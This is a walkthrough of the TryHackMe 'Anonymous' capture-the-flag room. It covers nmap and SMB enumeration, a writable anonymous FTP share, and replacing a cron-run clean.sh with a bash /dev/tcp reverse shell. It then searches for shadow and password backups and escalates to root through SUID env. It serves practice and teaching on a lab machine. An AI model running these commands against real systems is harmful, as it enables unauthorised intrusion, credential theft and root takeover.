TryHackMe: Anonymous

[Enumeration]

1. Port Scan

nmap -Pn <ip>

There’re 4 ports: 21,22,139, and 445.

2. OS and service scan

nmap -A -p 21,22,139,445 <ip>

There’s anonymous login on FTP.

3. Vuln scan

nmap --script vuln -p 21,22,139,445 <ip>

Nothing

4. Samba scan

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <ip>

There’s anonymous access with /pics.

[Exploitation]

1. Connect FTP

ftp <ip>

ls

There’s /scripts.

cd scripts

Download all files

get clean.sh
get removed_files.log
get to_do.txt

2. Read each files

cat clean.sh

This may be a cron job.

cat removed_files.log

cat to_do.txt

3. Get reverse shell

Prepare reverse shell and save as “clean.sh”

#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/<attacker ip>/<attacker port> 0>&1'

Connect to FTP and Replace clean.sh

ftp <ip>
cd scripts
put clean.sh clean.sh

Create listener, wait about a minute.

nc -lvp <attacker port>

ls -la

cat user.txt

[Privilege escalation]

1. Search for ssh keys

find / -name authorized_keys 2> /dev/null

Nothing

find / -name id_rsa 2> /dev/null

Nothing

2. Search for password

Search for shadow files.

find / 2>>/dev/null | grep "shadow"

Read shadow.bak

cat /var/backups/shadow.bak

Search for pass files.

find / 2>>/dev/null | grep -i "pass"

Read passwd.bak

cat /var/backups/pass.bak

3. Verify permission of passwd and shadow

Verify permission of /etc/passwd

ls -la /etc/passwd

I cannot edit it.

cat /etc/passwd

There’re 2 users: root and namelessone.

Verify permission of /etc/shadow

ls -la /etc/shadow

I cannot read it.

4. Verify history

history

Not much useful

5. Verify sudo

sudo -l

No TTY shell

Import TTY shell

python -c 'import pty;pty.spawn("/bin/bash");'

sudo -l

I need password which I don’t have it.

6. Verify SUID and SGID

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

There’s env

Follow GTFObin

env | GTFOBins

env /bin/sh -p

whoami

cd /root
ls
cat root.txt